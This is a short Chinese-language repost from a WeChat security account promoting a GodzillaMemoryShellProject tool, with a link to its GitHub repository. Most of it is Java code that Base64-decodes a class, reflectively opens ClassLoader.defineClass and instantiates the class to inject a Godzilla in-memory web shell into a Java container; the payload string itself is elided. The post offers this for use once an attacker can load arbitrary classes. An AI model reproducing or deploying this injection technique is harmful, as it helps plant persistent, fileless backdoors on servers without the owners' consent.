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0x01 工具介绍
当你拥有一个可以加载任意Class的能力,你就可以编译此项目,编译对应容器的Class 当Class被加载之后,你将获得一个哥斯拉的内存shell,你连接时可以填写任意URI路径。
0x02 安装与使用
//哥斯拉内存shell的class Base64
String godzillaMemShellClassBase64 = "...........";
//base64 解码
byte[] classBytes = Base64.getDecoder().decode(godzillaMemShellClassBase64);
//获得上下文的ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
//反射获得defineClass方法 用来定义Class
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
//使得defineClass方法可访问
defineClassMethod.setAccessible(true);
//调用defineClass方法 从class字节码创建Class
Class clazz = (Class) defineClassMethod.invoke(loader,classBytes,0,classBytes.length);
//创建哥斯拉内存shell实例 哥斯拉内存Shell在此处自动注入
clazz.newInstance();
0x03 项目链接下载
https://github.com/BeichenDream/GodzillaMemoryShellProject
原文始发于微信公众号(网络安全者):哥斯拉内存Shell项目 -- GodzillaMemoryShellProject
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